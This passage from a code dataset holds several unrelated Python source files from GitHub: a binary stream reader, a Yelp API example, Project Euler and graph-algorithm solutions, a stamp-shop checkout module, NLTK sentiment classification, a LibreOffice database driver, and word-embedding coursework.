struct.unpack(fmt, istream.read(struct.calcsize(fmt)))\n if amount == 1:\n return complex(*hdr) # unpack for single values\n reals, imags = hdr[::2], hdr[1::2]\n return tuple([complex(x, y) for x, y in zip(reals, imags)])\n\n\ndef read_mixed_from_istream(\n istream: BinaryIO,\n fmt: str,\n amount: int = 1,\n offset: int = None,\n byte_order: str = \"native\",\n) -> tuple(complex, ...):\n \"\"\"\n Reads a number of mixed types from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n fmt : str\n The format string to use.\n amount : int, optional\n The amount of mixed types to read, by default 1.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n tuple of mixed\n The mixed types read from the input stream.\n \"\"\"\n for char in fmt:\n if char not in DTYPES.values():\n raise ValueError(\n f\"Invalid format character {char}, expected one of {DTYPES.values()}\"\n )\n if offset is not None:\n istream.seek(offset)\n fmt = BYTE_ORDERS[byte_order] + amount * fmt\n return struct.unpack(fmt, istream.read(struct.calcsize(fmt)))\n","repo_name":"n-claes/legolas","sub_path":"post_processing/pylbo/utilities/datfiles/istream_reader.py","file_name":"istream_reader.py","file_ext":"py","file_size_in_byte":6726,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"81"} +{"seq_id":"1209202995","text":"# First you must import the following\nfrom extractor import ConnectorFactory\nfrom general.yelp_mapper import YelpMapper\n\n# In this case, a custom dispatcher has been created, since DefaultMapper \n# would not work, so you get an instance of the custom mapper class \nmapper = YelpMapper()\n\n# Now get the instance of the class from which we are going to obtain data \n# And we passed the custom mapper class\nobj_yelp = ConnectorFactory.get_connector(ConnectorFactory.YELP_API, mapper)\n\n# If we do not pass any parameters, it returns the following error:\n# get_connector() missing 1 required positional argument: 'source'\n\n# if only the type of instance that we want to obtain happens to you, it will \n# not mark an error when you execute the .consult () method, since you will\n# not be able to create the list\n\n# If we only pass as a parameter the class of the custom dispatcher, after you try to execute any method, \n# it will return an error like the following:\n# 'NoneType' object has no attribute 'set_filter'\n\n# Now we execute the set_filter method\nobj_yelp.set_filter('delis','37.786882','-122.399972')\n\n# If that method is not executed, then it returns the following error:\n# You need execute .set_filter() method before .consult().\n\n# Now we execute the set_auth method\nobj_yelp.set_auth()\n\n# If that method is not executed, then it returns the following HTTP error:\n# 400 Client Error\n\n# Finally, if all goes well, the .consult () method is applied and the list of data is obtained\nlistmodels = obj_yelp.consult()\n\nprint(listmodels)","repo_name":"EdwBaeza/geolytics-extractor","sub_path":"test_yelp.py","file_name":"test_yelp.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32542583753","text":"#!/usr/bin/python\n#\n# Project Euler\n#\n# http://projecteuler.net/index.php?section=problems&id=14\n#\n# Problem 14\n# 05 April 2002\n#\n# The following iterative sequence is defined for the set of positive integers:\n#\n# n -> n/2 (n is even)\n# n -> 3n + 1 (n is odd)\n#\n# Using the rule above and starting with 13, we generate the following sequence:\n# 13 → 40 → 20 → 10 → 5 → 16 → 8 → 4 → 2 → 1\n#\n# It can be seen that this sequence (starting at 13 and finishing at 1)\n# contains 10 terms. Although it has not been proved yet (Collatz Problem), it\n# is thought that all starting numbers finish at 1.\n#\n# Which starting number, under one million, produces the longest chain?\n#\n# NOTE: Once the chain starts the terms are allowed to go above one million.\n#\n# Answer:\n# 837799\n\n\nimport sys\n\n\nstart = 1000000 - 1 # first number under one million\nmax_start = start\n\n\ndef next(n):\n if n % 2 == 0:\n return n / 2\n else:\n return 3*n + 1\n# end of next()\n\n\ndef sequence_length(s):\n global max_start\n n = 1\n while s > 1:\n s = next(s)\n if s > max_start:\n max_start = s\n sys.stdout.write(\"\\n*** %d\\n\" % (max_start))\n n += 1\n return n\n# end of sequence_length\n\n\n# main\n\nN, res = 0, start\n\n\nwhile start > 0:\n if start % 100 == 0:\n sys.stdout.write(\"%8d\\r\" % (start))\n sys.stdout.flush()\n n = sequence_length(start)\n if n > N:\n sys.stdout.write(\"\\n%d %d\\n\" % (start, n))\n sys.stdout.flush()\n N, res = n, start\n start -= 1\n\n\n# end of file\n","repo_name":"yuri-arapov/project-euler","sub_path":"p14.py","file_name":"p14.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"34275726543","text":"# Loop through file\n# Count to see the most frequent word (bigword) and the number of times it is found in the file (bigcount)\nname = input('Enter file name: ') # ask for file name\nfhand = open(name) # open provided file name\n\ncounts = {} # create empty dictionary\nfor line in fhand: # iterate through lines in file\n words = line.split() # split each line into list of words\n for word in words: # iterate through each word in the file\n counts[word] = counts.get(word, 0) + 1 # check to see if word is new or repeated; if new add to dictionary and set val to 0, if repeated add 1 to val to create Histogram\n# Find most common value in key/value pair\nnumoftimesfound = None\nmostcommonword = None\nfor key, val in counts.items(): # loop through each key/val pair of counts dictionary\n if numoftimesfound is None or val > numoftimesfound: # check to see if numoftimesfound is the biggest val we have come across so far or if its still None\n mostcommonword = key\n numoftimesfound = val\nprint('Most common word in', name + ': ' + mostcommonword)\nprint('Number of times found in', name + ': ' + str(numoftimesfound))\n\n# Additional Practice\ncounts = {'chuck': 1, 'annie': 42, 'jan': 100}\nfor key in counts:\n if counts[key] > 10:\n print(key, counts[key])\n","repo_name":"derrickmstrong/python_fcc","sub_path":"basics/fileloopv2.py","file_name":"fileloopv2.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20782264391","text":"import os\nimport csv\nfrom datetime import datetime\n\n\n# Importing required modules\nimport view\n\n\n# For making some bold print\nclass checkout:\n bold = '\\033[1m'\n end = '\\033[0m'\n\n\n# Clear function depending on operating system\ndef cls():\n os.system('cls' if os.name == 'nt' else 'clear')\n\n\n# Creates a [list] with the current cart information\ndef item_list(cart):\n item = 1\n items = []\n for i in cart:\n items.append(\"Item \" + str(item) + \" -> Type: \" + i[0].title() + \" Weight: \" + str(i[1] / 1000) +\n \"kg Destination: \" + i[3].upper() + \" Unit Price: \" + \"$\" + str(i[4]))\n item += 1\n\n total = 0\n for i in cart:\n total += float(i[4]) # For each item in cart, take element at index 4 and produce sum\n items.append(\"Total price: $\" + str(round(total, 2)))\n\n return items # Returns 'items', which now contains all current cart information\n\n\n# Creates a [list] with information for a particular item (for invoice.txt)\ndef show_item(item):\n names = {\n 1: \"Item Type: \",\n 2: \"Weight (g): \",\n 3: \"Destination: \"\n }\n\n display_cart = [item[i] for i in [0, 1, 3]] # Selecting only type, weight, destination from cart item\n display = []\n dict_index = 1\n for i in display_cart:\n display.append(names.get(dict_index) + str(i).title()) # Combining dictionary values with item details\n dict_index += 1\n\n return display\n\n\n# Creating the invoice\ndef invoice(cart, dt):\n\n # Ensuring a folder called 'Invoices' exists in the current directory\n current_dir = os.getcwd()\n end_dir = os.path.join(current_dir, \"Invoices\")\n if not os.path.exists(end_dir):\n os.makedirs(end_dir)\n\n # Creating new file and writing invoice\n file_name = os.path.join(end_dir, dt + \".txt\")\n with open(file_name, 'w') as inv:\n inv.write(\"--------------- Invoice ---------------\" + '\\n' * 2)\n for i in item_list(cart): # Writing cart details\n inv.write(i + '\\n' * 2)\n inv.write(\"------------ End of Invoice ------------\" + '\\n' * 3)\n item = 1\n for i in cart: # For every item in current cart...\n inv.write(\"--------- Purchased Stamp No. \" + str(item) + \" --------\" + '\\n' * 2) # Write a title\n for d in show_item(i): # For every detail in every cart item...\n inv.write(d + '\\n') # Write the detail + new line\n inv.write('\\n' + \"-------------------------------------------\" + '\\n' * 3)\n item += 1\n\n\n# Writing to sales_history\ndef sales_history(cart, dt):\n\n # Determining sale_id\n with open('sales_history.csv', 'a+') as s:\n s.seek(0)\n data = list(csv.reader(s))\n if len(data) == 1:\n sale_id = 1 # If only one row in sales_history, sale_id is 1\n else:\n del data[0]\n ids = []\n for i in data:\n ids.append(int(i[0])) # Creating list with all sale id's\n sale_id = max(ids) + 1 # New sale_id is equal to the max sale_id plus 1\n\n # Preparing items for writing to sales_history\n for i in cart:\n i.insert(0, dt) # Inserting date and time to start of each cart item\n i.insert(0, sale_id) # Inserting the sale_id to start of each cart item\n\n # Writing to sales_history\n csv.writer(s).writerows(cart)\n\n\ndef main(cart):\n view.main(cart) # Displays current cart\n if input(\n \"Please enter 'c' to confirm your current cart! (Or hit enter to go back) \").upper() == \"C\":\n if input(\"Please confirm checkout by again entering 'c'... (Or hit enter to go back) \").upper() == \"C\":\n dt = str(datetime.now().strftime(\"%Y-%m-%d %H.%M.%S\")) # Current date & time\n invoice(cart, dt) # Printing invoice\n sales_history(cart, dt) # Writing to sales_history\n cls()\n return \"complete\" # Lets main menu know that checkout has completed\n else:\n cls()\n else:\n cls()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lucakats/stamp-selling","sub_path":"checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"21153828616","text":"import nltk, random\nfrom nltk.corpus import movie_reviews\n\ndocuments = [(list(movie_reviews.words(fileid)), category)\n for category in movie_reviews.categories()\n for fileid in movie_reviews.fileids(category)]\n\nrandom.shuffle(documents)\n\nall_words = nltk.FreqDist(w.lower() for w in movie_reviews.words())\nword_features = [w for w, f in all_words.most_common(1000)]\n\ndef document_features(document):\n document_words = set(document)\n features = {}\n for word in word_features:\n features['contains({})'.format(word)] = (word in document_words)\n return features\n\nfeaturesets = [(document_features(d), c) for (d,c) in documents]\ntrain_set, test_set = featuresets[100:], featuresets[:100]\nclassifier = nltk.NaiveBayesClassifier.train(train_set)\n\ndesired_outcome = [c for (d, c) in test_set]\ntest = classifier.classify_many(f for (f, c) in test_set)\n\ncm = nltk.ConfusionMatrix(desired_outcome, test)\nprint(cm.pretty_format(sort_by_count=False, show_percents=True, truncate=9))\n\n\n# The upper right cell says how many negative reviews were marked as positive by our\n# Naïve Bayes classifier. \n#\n# There is also the lower left cell which says the opposite - how many positive reviews \n# were marked as negative by our classifier (false negative). I tried running the program \n# few times and false negatives always occured more than false positives.\n#\n# We could say it is false positive according to True and False Positives and Negatives \n# table. The NLTK Book suggests, false positives are irrelevant items that were \n# incorrectly identified as relevant. For our Movie Reviews case, I would argue it is \n# not exactly true. There is no relevant and irrelevant item for inspecting semantics \n# of a review. It is either positive or negative, but both types of information are \n# important to us. It is an error, still, but not in terms of (ir)relevancy.\n","repo_name":"majosaurus/uni-garbage","sub_path":"machine_learning/02_04_homework.py","file_name":"02_04_homework.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72929511946","text":"from sys import stdin\ninput = lambda: stdin.readline().rstrip()\n\n\ndef find(x: int) -> int:\n if parents[x] < 0:\n return x\n parents[x] = find(parents[x])\n return parents[x]\n\n\ndef union(x: int, y: int) -> None:\n x, y = find(x), find(y)\n parents[x] += parents[y]\n parents[y] = x\n\n\ndef mst() -> int:\n costs = [[W[i], 0, i + 1] for i in range(N)]\n for i in range(N):\n for j in range(i + 1, N):\n costs.append([P[i][j], i + 1, j + 1])\n\n costs.sort()\n res = 0\n for cost, a, b in costs:\n a, b = find(a), find(b)\n if a != b:\n union(a, b)\n res += cost\n if parents[0] == -(N + 1):\n return res\n\n return res\n\n\nif __name__ == \"__main__\":\n N = int(input())\n W = [int(input()) for _ in range(N)]\n P = [list(map(int, input().split())) for _ in range(N)]\n\n parents = [-1] * (N + 1)\n print(mst())\n","repo_name":"boorooksus/Algorithm-Study","sub_path":"백준/CH21-minimum_spanning_tree/G2-1368-Bring_Water.py","file_name":"G2-1368-Bring_Water.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26137225693","text":"import torch\nfrom score import get_model\ncuda = True if torch.cuda.is_available() else False\nmodel = get_model('restore/updown.pth', cuda)\n\ndef rank(context, response):\n\n model.eval()\n\n score = model.predict(context, response, max_cxt_turn=None)\n return str(score[0])\n\nif __name__ == \"__main__\":\n print(test)\n","repo_name":"pschroedl/gpt2-ranking","sub_path":"ranker.py","file_name":"ranker.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32914231638","text":"import uno\nimport unohelper\n\nfrom com.sun.star.lang import XServiceInfo\n\nfrom com.sun.star.logging.LogLevel import INFO\nfrom com.sun.star.logging.LogLevel import SEVERE\n\nfrom com.sun.star.sdbc import XDriver\nfrom com.sun.star.sdbc import SQLException\n\nfrom .documenthandler import DocumentHandler\n\nfrom .unotool import createService\nfrom .unotool import getConfiguration\nfrom .unotool import getPropertyValueSet\n\nfrom .logger import getLogger\n\nfrom .configuration import g_identifier\nfrom .configuration import g_defaultlog\nfrom .configuration import g_basename\nfrom .configuration import g_protocol\nfrom .configuration import g_url\nfrom .configuration import g_user\n\nimport traceback\n\n\nclass Driver(unohelper.Base,\n XServiceInfo,\n XDriver):\n\n def __init__(self, ctx, lock, service, name):\n self._ctx = ctx\n self._lock = lock\n self._service = service\n self._name = name\n self._logger = getLogger(ctx, g_defaultlog, g_basename)\n # FIXME: Driver is lazy loaded in connect() driver method to be able to throw\n # FIXME: an exception if jdbcDriverOOo extension is not installed.\n self._driver = None\n # FIXME: If we want to add the StorageChangeListener only once,\n # FIXME: we need to be able to retrieve the DocumentHandler (keep a reference)\n self._handlers = []\n\n # XDriver\n def connect(self, url, infos):\n try:\n newinfos, document, storage, location = self._getConnectionInfo(infos)\n if storage is None or location is None:\n code = self._logger.resolveString(111)\n msg = self._logger.resolveString(112, url)\n raise self._getException(code, 1001, msg, self)\n driver = self._getDriver()\n handler = self._getDocumentHandler(location)\n path = handler.getConnectionUrl(document, storage, location)\n print(\"driver.connect() Path: %s\" % path)\n self._logger.logprb(INFO, 'Driver', 'connect()', 113, location)\n connection = driver.connect(path, newinfos)\n version = connection.getMetaData().getDriverVersion()\n self._logger.logprb(INFO, 'Driver', 'connect()', 114, version, g_user)\n return connection\n except SQLException as e:\n self._logger.logp(SEVERE, 'Driver', 'connect()', e.Message)\n raise e\n except Exception as e:\n self._logger.logprb(SEVERE, 'Driver', 'connect()', 117, e, traceback.format_exc())\n raise e\n\n def acceptsURL(self, url):\n accept = url.startswith(g_url)\n self._logger.logprb(INFO, 'Driver', 'acceptsURL()', 121, url, accept)\n return accept\n\n def getPropertyInfo(self, url, infos):\n try:\n self._logger.logprb(INFO, 'Driver', 'getPropertyInfo()', 131, url)\n driver = self._getDriver()\n drvinfo = driver.getPropertyInfo(g_protocol, infos)\n for info in drvinfo:\n self._logger.logprb(INFO, 'Driver', 'getPropertyInfo()', 132, info.Name, info.Value)\n return drvinfo\n except SQLException as e:\n self._logger.logp(SEVERE, 'Driver', 'getPropertyInfo()', e.Message)\n raise e\n except Exception as e:\n self._logger.logprb(SEVERE, 'Driver', 'getPropertyInfo()', 133, e, traceback.format_exc())\n raise e\n\n def getMajorVersion(self):\n return 1\n def getMinorVersion(self):\n return 0\n\n # XServiceInfo\n def supportsService(self, service):\n return service in self._services\n def getImplementationName(self):\n return self._name\n def getSupportedServiceNames(self):\n return self._services\n\n # Driver private getter methods\n def _getDriver(self):\n # FIXME: If jdbcDriverOOo is not installed,\n # FIXME: we need to throw SQLException\n if self._driver is None:\n driver = createService(self._ctx, self._service)\n if driver is None:\n code = self._logger.resolveString(181)\n msg = self._logger.resolveString(182, self._service)\n raise self._getException(code, 1001, msg, self)\n self._driver = driver\n return self._driver\n\n def _getConnectionInfo(self, infos):\n document = storage = url = None\n service = getConfiguration(self._ctx, g_identifier).getByName('ConnectionService')\n newinfos = {'Url': g_url, 'ConnectionService': service}\n for info in infos:\n if info.Name == 'URL':\n url = info.Value\n elif info.Name == 'Storage':\n storage = info.Value\n elif info.Name == 'Document':\n document = info.Value\n else:\n newinfos[info.Name] = info.Value\n print(\"Driver._getConnectionInfo() Name: %s - Value: %s\" % (info.Name, info.Value))\n return getPropertyValueSet(newinfos), document, storage, url\n\n def _getHandler(self, location):\n document = None\n for handler in self._handlers:\n url = handler.URL\n if url is None:\n self._handlers.remove(handler)\n elif url == location:\n document = handler\n return document\n\n def _getDocumentHandler(self, location):\n with self._lock:\n handler = self._getHandler(location)\n if handler is None:\n handler = DocumentHandler(self._ctx, self._lock, self._logger, location)\n self._handlers.append(handler)\n return handler\n\n def _getException(self, state, code, message, context=None, exception=None):\n error = SQLException()\n error.SQLState = state\n error.ErrorCode = code\n error.NextException = exception\n error.Message = message\n error.Context = context\n return error\n\n","repo_name":"prrvchr/gDriveOOo","sub_path":"uno/lib/uno/embedded/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":5915,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"81"} +{"seq_id":"14347579854","text":"import sys\nassert sys.version_info[0]==3\nassert sys.version_info[1] >= 5\n\nfrom gensim.models import KeyedVectors\nfrom gensim.test.utils import datapath\nimport pprint\nimport matplotlib.pyplot as plt\nplt.rcParams['figure.figsize'] = [10, 5]\nimport nltk\nnltk.download('reuters')\nfrom nltk.corpus import reuters\nimport numpy as np\nimport random\nimport scipy as sp\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.decomposition import PCA\n\nSTART_TOKEN = ''\nEND_TOKEN = ''\n\nnp.random.seed(0)\nrandom.seed(0)\n\ndef read_corpus(category=\"crude\"):\n \"\"\" Read files from the specified Reuter's category.\n Params:\n category (string): category name\n Return:\n list of lists, with words from each of the processed files\n \"\"\"\n files = reuters.fileids(category)\n return [[START_TOKEN] + [w.lower() for w in list(reuters.words(f))] + [END_TOKEN] for f in files]\n\nreuters_corpus = read_corpus()\npprint.pprint(reuters_corpus[:3], compact=True, width=100)\n\ndef distinct_words(corpus):\n \"\"\" Determine a list of distinct words for the corpus.\n Params:\n corpus (list of list of strings): corpus of documents\n Return:\n corpus_words (list of strings): list of distinct words across the corpus, sorted (using python 'sorted' function)\n num_corpus_words (integer): number of distinct words across the corpus\n \"\"\"\n corpus_words = []\n num_corpus_words = -1\n \n unique_words = list(set([word for sentence in corpus for word in sentence]))\n corpus_words = sorted(unique_words)\n num_corpus_words = len(corpus_words)\n\n return corpus_words, num_corpus_words\n\n# Define toy corpus\ntest_corpus = [\"START All that glitters isn't gold END\".split(\" \"), \"START All's well that ends well END\".split(\" \")]\ntest_corpus_words, num_corpus_words = distinct_words(test_corpus)\n\n# Correct answers\nans_test_corpus_words = sorted(list(set([\"START\", \"All\", \"ends\", \"that\", \"gold\", \"All's\", \"glitters\", \"isn't\", \"well\", \"END\"])))\nans_num_corpus_words = len(ans_test_corpus_words)\n\n# Test correct number of words\nassert(num_corpus_words == ans_num_corpus_words), \"Incorrect number of distinct words. Correct: {}. Yours: {}\".format(ans_num_corpus_words, num_corpus_words)\n\n# Test correct words\nassert (test_corpus_words == ans_test_corpus_words), \"Incorrect corpus_words.\\nCorrect: {}\\nYours: {}\".format(str(ans_test_corpus_words), str(test_corpus_words))\n\n# Print Success\nprint (\"-\" * 80)\nprint(\"Passed All Tests!\")\nprint (\"-\" * 80)\n\n\ndef compute_co_occurrence_matrix(corpus, window_size=4):\n \"\"\" Compute co-occurrence matrix for the given corpus and window_size (default of 4).\n \n Note: Each word in a document should be at the center of a window. Words near edges will have a smaller\n number of co-occurring words.\n \n For example, if we take the document \"START All that glitters is not gold END\" with window size of 4,\n \"All\" will co-occur with \"START\", \"that\", \"glitters\", \"is\", and \"not\".\n \n Params:\n corpus (list of list of strings): corpus of documents\n window_size (int): size of context window\n Return:\n M (numpy matrix of shape (number of corpus words, number of corpus words)): \n Co-occurence matrix of word counts. \n The ordering of the words in the rows/columns should be the same as the ordering of the words given by the distinct_words function.\n word2Ind (dict): dictionary that maps word to index (i.e. row/column number) for matrix M.\n \"\"\"\n words, num_words = distinct_words(corpus)\n M = np.zeros([num_words, num_words], dtype=int)\n word2Ind = {word: index for index, word in enumerate(words)}\n \n for sentence in corpus:\n sentence_words = [word for word in sentence if word in words]\n \n for i, center_word in enumerate(sentence_words):\n context_words = []\n starting_index = i - window_size\n ending_index = i + window_size + 1\n\n # find context words within window *before* the center word\n if starting_index >= 0:\n context_words += sentence_words[starting_index: i]\n elif i > 0:\n context_words += sentence_words[0: i]\n \n # find context words within window *after* the center word\n if i < len(sentence_words):\n context_words += sentence_words[i + 1: ending_index]\n \n # update co-occurance matrix M for each found context word count\n row_index = word2Ind[center_word]\n for context_word in context_words:\n column_index = word2Ind[context_word]\n M[row_index][column_index] += 1\n\n return M, word2Ind\n\n# Define toy corpus and get student's co-occurrence matrix\ntest_corpus = [\"START All that glitters isn't gold END\".split(\" \"), \"START All's well that ends well END\".split(\" \")]\nM_test, word2Ind_test = compute_co_occurrence_matrix(test_corpus, window_size=1)\n\n# Correct M and word2Ind\nM_test_ans = np.array( \n [[0., 0., 0., 1., 0., 0., 0., 0., 1., 0.,],\n [0., 0., 0., 1., 0., 0., 0., 0., 0., 1.,],\n [0., 0., 0., 0., 0., 0., 1., 0., 0., 1.,],\n [1., 1., 0., 0., 0., 0., 0., 0., 0., 0.,],\n [0., 0., 0., 0., 0., 0., 0., 0., 1., 1.,],\n [0., 0., 0., 0., 0., 0., 0., 1., 1., 0.,],\n [0., 0., 1., 0., 0., 0., 0., 1., 0., 0.,],\n [0., 0., 0., 0., 0., 1., 1., 0., 0., 0.,],\n [1., 0., 0., 0., 1., 1., 0., 0., 0., 1.,],\n [0., 1., 1., 0., 1., 0., 0., 0., 1., 0.,]]\n)\nword2Ind_ans = {'All': 0, \"All's\": 1, 'END': 2, 'START': 3, 'ends': 4, 'glitters': 5, 'gold': 6, \"isn't\": 7, 'that': 8, 'well': 9}\n\n# Test correct word2Ind\nassert (word2Ind_ans == word2Ind_test), \"Your word2Ind is incorrect:\\nCorrect: {}\\nYours: {}\".format(word2Ind_ans, word2Ind_test)\n\n# Test correct M shape\nassert (M_test.shape == M_test_ans.shape), \"M matrix has incorrect shape.\\nCorrect: {}\\nYours: {}\".format(M_test.shape, M_test_ans.shape)\n\n# Test correct M values\nfor w1 in word2Ind_ans.keys():\n idx1 = word2Ind_ans[w1]\n for w2 in word2Ind_ans.keys():\n idx2 = word2Ind_ans[w2]\n student = M_test[idx1, idx2]\n correct = M_test_ans[idx1, idx2]\n if student != correct:\n print(\"Correct M:\")\n print(M_test_ans)\n print(\"Your M: \")\n print(M_test)\n raise AssertionError(\"Incorrect count at index ({}, {})=({}, {}) in matrix M. Yours has {} but should have {}.\".format(idx1, idx2, w1, w2, student, correct))\n\n# Print Success\nprint (\"-\" * 80)\nprint(\"Passed All Tests!\")\nprint (\"-\" * 80)\n\ndef reduce_to_k_dim(M, k=2):\n \"\"\" Reduce a co-occurence count matrix of dimensionality (num_corpus_words, num_corpus_words)\n to a matrix of dimensionality (num_corpus_words, k) using the following SVD function from Scikit-Learn:\n - http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.TruncatedSVD.html\n \n Params:\n M (numpy matrix of shape (number of corpus words, number of corpus words)): co-occurence matrix of word counts\n k (int): embedding size of each word after dimension reduction\n Return:\n M_reduced (numpy matrix of shape (number of corpus words, k)): matrix of k-dimensioal word embeddings.\n In terms of the SVD from math class, this actually returns U * S\n \"\"\" \n n_iters = 10 # Use this parameter in your call to `TruncatedSVD`\n M_reduced = TruncatedSVD(n_components=k, n_iter=n_iters).fit_transform(M)\n print(\"Running Truncated SVD over %i words...\" % (M.shape[0]))\n \n print(\"Done.\")\n return M_reduced\n\n# Define toy corpus and run student code\ntest_corpus = [\"START All that glitters isn't gold END\".split(\" \"), \"START All's well that ends well END\".split(\" \")]\nM_test, word2Ind_test = compute_co_occurrence_matrix(test_corpus, window_size=1)\nM_test_reduced = reduce_to_k_dim(M_test, k=2)\n\n# Test proper dimensions\nassert (M_test_reduced.shape[0] == 10), \"M_reduced has {} rows; should have {}\".format(M_test_reduced.shape[0], 10)\nassert (M_test_reduced.shape[1] == 2), \"M_reduced has {} columns; should have {}\".format(M_test_reduced.shape[1], 2)\n\n# Print Success\nprint (\"-\" * 80)\nprint(\"Passed All Tests!\")\nprint (\"-\" * 80)\n\ndef plot_embeddings(M_reduced, word2Ind, words):\n \"\"\" Plot in a scatterplot the embeddings of the words specified in the list \"words\".\n NOTE: do not plot all the words listed in M_reduced / word2Ind.\n Include a label next to each point.\n \n Params:\n M_reduced (numpy matrix of shape (number of unique words in the corpus , k)): matrix of k-dimensioal word embeddings\n word2Ind (dict): dictionary that maps word to indices for matrix M\n words (list of strings): words whose embeddings we want to visualize\n \"\"\"\n \n plot_points = np.array([M_reduced[word2Ind[word]] for word in words])\n plt.plot(plot_points[:, 0], plot_points[:, 1], 'x')\n \n for i in range(plot_points.shape[0]):\n plt.text(plot_points[i, 0], plot_points[i, 1], words[i])\n \n plt.show()\n\n\nprint (\"-\" * 80)\nprint (\"Outputted Plot:\")\n\nM_reduced_plot_test = np.array([[1, 1], [-1, -1], [1, -1], [-1, 1], [0, 0]])\nword2Ind_plot_test = {'test1': 0, 'test2': 1, 'test3': 2, 'test4': 3, 'test5': 4}\nwords = ['test1', 'test2', 'test3', 'test4', 'test5']\nplot_embeddings(M_reduced_plot_test, word2Ind_plot_test, words)\n\nprint (\"-\" * 80)\n\n# -----------------------------\n# Run This Cell to Produce Your Plot\n# ------------------------------\nreuters_corpus = read_corpus()\nM_co_occurrence, word2Ind_co_occurrence = compute_co_occurrence_matrix(reuters_corpus)\nM_reduced_co_occurrence = reduce_to_k_dim(M_co_occurrence, k=2)\n\n# Rescale (normalize) the rows to make them each of unit-length\nM_lengths = np.linalg.norm(M_reduced_co_occurrence, axis=1)\nM_normalized = M_reduced_co_occurrence / M_lengths[:, np.newaxis] # broadcasting\n\nwords = ['barrels', 'bpd', 'ecuador', 'energy', 'industry', 'kuwait', 'oil', 'output', 'petroleum', 'venezuela']\nplot_embeddings(M_normalized, word2Ind_co_occurrence, words)\n\ndef load_word2vec():\n \"\"\" Load Word2Vec Vectors\n Return:\n wv_from_bin: All 3 million embeddings, each lengh 300\n \"\"\"\n import gensim.downloader as api\n wv_from_bin = api.load(\"word2vec-google-news-300\")\n vocab = list(wv_from_bin.vocab.keys())\n print(\"Loaded vocab size %i\" % len(vocab))\n return wv_from_bin\n\nwv_from_bin = load_word2vec()\n\ndef get_matrix_of_vectors(wv_from_bin, required_words=['barrels', 'bpd', 'ecuador', 'energy', 'industry', 'kuwait', 'oil', 'output', 'petroleum', 'venezuela']):\n \"\"\" Put the word2vec vectors into a matrix M.\n Param:\n wv_from_bin: KeyedVectors object; the 3 million word2vec vectors loaded from file\n Return:\n M: numpy matrix shape (num words, 300) containing the vectors\n word2Ind: dictionary mapping each word to its row number in M\n \"\"\"\n import random\n words = list(wv_from_bin.vocab.keys())\n print(\"Shuffling words ...\")\n random.shuffle(words)\n words = words[:10000]\n print(\"Putting %i words into word2Ind and matrix M...\" % len(words))\n word2Ind = {}\n M = []\n curInd = 0\n for w in words:\n try:\n M.append(wv_from_bin.word_vec(w))\n word2Ind[w] = curInd\n curInd += 1\n except KeyError:\n continue\n for w in required_words:\n try:\n M.append(wv_from_bin.word_vec(w))\n word2Ind[w] = curInd\n curInd += 1\n except KeyError:\n continue\n M = np.stack(M)\n print(\"Done.\")\n return M, word2Ind\n\n\n# -----------------------------------------------------------------\n# Run Cell to Reduce 300-Dimensinal Word Embeddings to k Dimensions\n# Note: This may take several minutes\n# -----------------------------------------------------------------\nM, word2Ind = get_matrix_of_vectors(wv_from_bin)\nM_reduced = reduce_to_k_dim(M, k=2)\n\nwords = ['barrels', 'bpd', 'ecuador', 'energy', 'industry', 'kuwait', 'oil', 'output', 'petroleum', 'venezuela']\nplot_embeddings(M_reduced, word2Ind, words)\n\n\nwv_from_bin.most_similar(\"drain\")\n\nwv_from_bin.most_similar(\"leaves\")\n\nwv_from_bin.most_similar(\"sweet\")\n\nwv_from_bin.most_similar(\"scoop\")\n\nwv_from_bin.most_similar(\"crane\")\nwv_from_bin.most_similar(\"net\")\nwv_from_bin.most_similar(\"point\")\n\nw1 = \"backwards\"\nw2 = \"reverse\"\nw3 = \"forwards\"\nw1_w2_dist = wv_from_bin.distance(w1, w2)\nw1_w3_dist = wv_from_bin.distance(w1, w3)\n\nprint(\"Synonyms {}, {} have cosine distance: {}\".format(w1, w2, w1_w2_dist))\nprint(\"Antonyms {}, {} have cosine distance: {}\".format(w1, w3, w1_w3_dist))\n\npprint.pprint(wv_from_bin.most_similar(positive=['woman', 'king'], negative=['man']))\n\n\npprint.pprint(wv_from_bin.most_similar(positive=['France', 'Berlin'], negative=['Germany']))\nprint(\" \")\npprint.pprint(wv_from_bin.most_similar(positive=['violinist', 'piano'], negative=['violin']))\nprint(\" \")\npprint.pprint(wv_from_bin.most_similar(positive=['plumber', 'stethoscope'], negative=['wrench']))\n\npprint.pprint(wv_from_bin.most_similar(positive=['bird', 'herd'], negative=['sheep']))\n# should be \"flock\", as in sheep:herd, bird:flock\nprint(\" \")\npprint.pprint(wv_from_bin.most_similar(positive=['flock', 'sheep'], negative=['herd']))\n# should be \"bird\", as in herd:sheep, flock:bird\n\npprint.pprint(wv_from_bin.most_similar(positive=['woman', 'boss'], negative=['man']))\nprint()\npprint.pprint(wv_from_bin.most_similar(positive=['man', 'boss'], negative=['woman']))\n\npprint.pprint(wv_from_bin.most_similar(positive=['woman', 'teacher'], 